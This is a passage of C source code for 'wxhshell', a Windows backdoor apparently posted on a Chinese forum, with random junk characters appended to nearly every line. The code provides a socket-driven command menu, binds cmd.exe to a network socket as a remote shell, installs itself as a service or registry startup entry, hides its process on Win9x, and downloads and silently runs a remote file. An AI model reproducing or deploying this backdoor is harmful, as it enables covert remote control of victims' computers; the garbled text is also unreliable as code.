  else { T1c& 3  
Qn \=P*j  
    switch(cmd[0]) { e#^ vA$d  
  b q8nV  
  // 帮助 u_.Ig|Va  
  case '?': { OySn[4`(i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); h y"=)n(  
    break; 9PG3cCr?  
  } Vo9Fl Yj  
  // 安装 R:U!HE8j   
  case 'i': { 9,$ n 6t;  
    if(Install()) $u, ~183  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Vhj<gN  
    else })C}'!+]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7@Xi*Azd  
    break; BP=<TRp .  
    } HjT-5>I7f  
  // 卸载 iz2;xa*  
  case 'r': { 9n;6;K#  
    if(Uninstall()) v K!vA-7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \xX'SB#.l  
    else K}tC8D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A[H"(E#k  
    break; @VnK/5opS  
    } rhC x&L  
  // 显示 wxhshell 所在路径 2[1lwV  
  case 'p': { KA elq*  
    char svExeFile[MAX_PATH]; G3gEL)b*  
    strcpy(svExeFile,"\n\r"); jR"ACup(  
      strcat(svExeFile,ExeFile); 'e8O \FOf  
        send(wsh,svExeFile,strlen(svExeFile),0); 7w?N-Q$y  
    break; Ex5 LhRe>=  
    } )@6iQ  
  // 重启 *_eY +\j  
  case 'b': { lz(}N7SLa  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p*~b5'+ C+  
    if(Boot(REBOOT)) ^TAf+C^Ry  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R!2E`^{Wl  
    else { B1 xlWdm  
    closesocket(wsh); "BvDLe':  
    ExitThread(0);  #{zF~/Qq  
    } j~O"=?7!O  
    break; 66HxwY3a  
    } ]Mj N)%hT  
  // 关机 #./8inbG  
  case 'd': { te&p1F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); MG4(,"c!  
    if(Boot(SHUTDOWN)) #g]eDU-[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }kMKA.O"  
    else { =HHb ]JE  
    closesocket(wsh); qKNHhXi  
    ExitThread(0); ]_2<uK}fg  
    } NQ,2pM<*-  
    break; R?}<Cj I  
    } > 7 qZ\#  
  // 获取shell (w?W=guHu  
  case 's': { 7QHrb'c  
    CmdShell(wsh); H~?p,h  
    closesocket(wsh); +6f[<^K#  
    ExitThread(0); 5>&C.+A 9  
    break; b#:!b  
  } tFX!s;N[  
  // 退出 jWh}cM=  
  case 'x': { =p&uQ6.i+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TFtD>q X  
    CloseIt(wsh); $i$Z+-W4'  
    break; c)zwyBz  
    } @vvGhJ1m`  
  // 离开 94L>%{59  
  case 'q': { 6<9gVh<=w  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'Jl73#3  
    closesocket(wsh); ?$%2\"wX~7  
    WSACleanup(); lNB<_SO  
    exit(1); ;a`I8Fj  
    break; !p(N DQm  
        } -qJO6OM  
  } h2vD*W  
  } nfS.0\z  
!k8j8v&  
  // 提示信息 2~QN#u|UC3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8J8@0  
} w~WW2 w  
  } >e QFY^d5  
HI{IC!6  
  return; nmUMg  
} )"f*Mp  
/xkF9   
// shell模块句柄 h3P^W(=&  
int CmdShell(SOCKET sock) C7_#D O6"  
{ :PQvt/-'(D  
STARTUPINFO si; zl!Y(o!@  
ZeroMemory(&si,sizeof(si)); AR7]~+ X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9v(k<('_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 01vKx)f  
PROCESS_INFORMATION ProcessInfo; <6!/B[!O=  
char cmdline[]="cmd"; X5c)T}pyv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3zo:)N \K  
  return 0; !Q5NV4gd+  
} n^%",*8gD*  
_:VIlg U  
// 自身启动模式 }vt>}%%  
int StartFromService(void) 7kh(WtUz  
{ 'klYGp  
typedef struct br4 %(w(d  
{ T7j,%ay9  
  DWORD ExitStatus; H]Vo XJ\*  
  DWORD PebBaseAddress; T&s}~S=m  
  DWORD AffinityMask; \Culf'iX  
  DWORD BasePriority; lAo S 9w  
  ULONG UniqueProcessId; GJn ~x  
  ULONG InheritedFromUniqueProcessId; Q a3+9  
}   PROCESS_BASIC_INFORMATION; fb D  
#]lK!:  
PROCNTQSIP NtQueryInformationProcess;  4,?ZNyl  
]?(_}""1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; TV*@h2C"i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =x} p>#o,J  
"UTAh6[3oD  
  HANDLE             hProcess; )G@/E^ySM  
  PROCESS_BASIC_INFORMATION pbi; _vr;cjMI  
)P #MUC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  g\=e86  
  if(NULL == hInst ) return 0; 0p1~!X=I  
W4n(6esO  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); TqTz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); n$y@a? al  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ::8c pUc`f  
}<g- 0&GLm  
  if (!NtQueryInformationProcess) return 0; y\c-I!6>26  
<F-W fR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C,nU.0  
  if(!hProcess) return 0; n+:}p D  
(5Sv$Xt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?qR11A};tG  
(bON[6OGm  
  CloseHandle(hProcess); C !6d`|  
dIOi P\^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I hPX/P  
if(hProcess==NULL) return 0; ]c\d][R N  
W;!)Sj4<T!  
HMODULE hMod; gkL{]*9&%  
char procName[255]; Vc$y ^|=  
unsigned long cbNeeded; {q|Om?@  
dI) 9@UL  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _Sn45h@"  
eD?f|bif  
  CloseHandle(hProcess); ,BE4z2a  
ZOY zCc(d  
if(strstr(procName,"services")) return 1; // 以服务启动 jC_m0Iwc  
D) ;w)`  
  return 0; // 注册表启动  NH0uK  
} ! ,&{1p  
i;mA|  
// 主模块 > ,;<Bz|X  
int StartWxhshell(LPSTR lpCmdLine) F7IZ;4cp  
{ 'rDai [  
  SOCKET wsl; (.N!(;G  
BOOL val=TRUE; ^s_7-p])(  
  int port=0; ?yy,3:  
  struct sockaddr_in door; D'<'"kUd  
vx}W.6C}  
  if(wscfg.ws_autoins) Install(); 55Ag<\7  
6Eyinv  
port=atoi(lpCmdLine); #9CLIYJAd  
Am"e%|:  
if(port<=0) port=wscfg.ws_port; !"<~n-$B  
xj;V  
  WSADATA data; ,WtJ&S7?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^wxpinJ>  
SkyX\&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (Fs{~4T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dq^vK  
  door.sin_family = AF_INET; { pk]p~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); M<'He.n  
  door.sin_port = htons(port); !Z<=PdI1Ys  
tQ(4UHqa~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <d~si^*\ch  
closesocket(wsl); j9~lf  
return 1; VMH^jCFp  
} RZP7h>y6@  
FA!!S`{\  
  if(listen(wsl,2) == INVALID_SOCKET) { y-N]{!  
closesocket(wsl); r$W%d[pB  
return 1; 4/AE;y X  
} #*X\pjZ  
  Wxhshell(wsl); <h%I-e6  
  WSACleanup(); KZ@'NnQ  
|H.ARLS  
return 0; vKBi jmE  
IPf>9#L  
} .I.B,wH8  
i>e?$H,/  
// 以NT服务方式启动 z]R%'LGu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?z&5g-/b  
{ v?_L_{x;W  
DWORD   status = 0; {r'+icvLX  
  DWORD   specificError = 0xfffffff; !<?<f db  
-ARks_\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9_fbl:qk;\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;Vpp1mk|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; f$ 7C 5  
  serviceStatus.dwWin32ExitCode     = 0; %`*On~  
  serviceStatus.dwServiceSpecificExitCode = 0; JJK-+a6cX  
  serviceStatus.dwCheckPoint       = 0; qP]1}-  
  serviceStatus.dwWaitHint       = 0; e, fZ>EJ  
fZrh_^yH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); " =6kH,  
  if (hServiceStatusHandle==0) return; %77uc9}  
bEln.)  
status = GetLastError(); /36gf  
  if (status!=NO_ERROR) -iL:D<!Cb_  
{ 1) 5$,+~lL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; E+lr{~  
    serviceStatus.dwCheckPoint       = 0; Zz"8  
    serviceStatus.dwWaitHint       = 0; )qe rA  
    serviceStatus.dwWin32ExitCode     = status; 5XV|*O;  
    serviceStatus.dwServiceSpecificExitCode = specificError; -Aojk8tc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lv#0-+]$Bt  
    return; e;g7Ek3n  
  } FzNj':D  
!o1IpTN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @JGFG+J}  
  serviceStatus.dwCheckPoint       = 0; 05g %5vHF  
  serviceStatus.dwWaitHint       = 0; p6V#!5Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h ,n}=g+?  
} &>&6OV]P'  
t+_\^Oa)  
// 处理NT服务事件,比如:启动、停止 )K$YL='kX  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z%#-2&i  
{ AUu<@4R7  
switch(fdwControl) XwFTAaZ  
{ R:$E'PSx  
case SERVICE_CONTROL_STOP: %}e['d h  
  serviceStatus.dwWin32ExitCode = 0; UI"UBZZ$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T*%rhnTv0  
  serviceStatus.dwCheckPoint   = 0; n_Qua|R  
  serviceStatus.dwWaitHint     = 0; qYJ<I'Ux O  
  { /QWXEL/M=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |'z24 :8  
  } L]8z6]j*  
  return; g?Tev^D  
case SERVICE_CONTROL_PAUSE: 6 &0r/r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cc3B}^@p=  
  break; <b .p/uA  
case SERVICE_CONTROL_CONTINUE: 2x9.>nwhb  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; T~k@Z  
  break; $}{[_2  
case SERVICE_CONTROL_INTERROGATE: /# ]eVD  
  break; =yz"xWH  
}; (' 7$K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kei0>hBi  
} |9=A"092{  
EQ ee5}  
// 标准应用程序主函数 tsL ; wT_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) b>VV/j4!/  
{ Ln2FG4{  
ch :rAx  
// 获取操作系统版本 HE-5e): k  
OsIsNt=GetOsVer(); q)L4*O  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  5{oc  
|=*)a2  
  // 从命令行安装 YI ?P@y  
  if(strpbrk(lpCmdLine,"iI")) Install(); @fYVlHT%E  
NIVR;gm  
  // 下载执行文件 RrvC}9ar  
if(wscfg.ws_downexe) { VC/-5'_6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JPAjOcmU/  
  WinExec(wscfg.ws_filenam,SW_HIDE); @;`'s  
} &>C+5`bg  
$BMXjXd}  
if(!OsIsNt) { :MY=Q]l  
// 如果时win9x,隐藏进程并且设置为注册表启动 :>JfBJ]|  
HideProc(); P*BRebL:  
StartWxhshell(lpCmdLine); "A"YgD#t  
} !5(DU~S*@S  
else Hp04apM:  
  if(StartFromService()) J)Y`G4l2@  
  // 以服务方式启动 R%RxF=@  
  StartServiceCtrlDispatcher(DispatchTable); V%s7*`U  
else (87| :{  
  // 普通方式启动 !e$ZOYe  
  StartWxhshell(lpCmdLine); Qgj# k  
pT->qQ3;  
return 0; 0S$k;q  
}
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只看该作者 1 发表于: 2006-10-10
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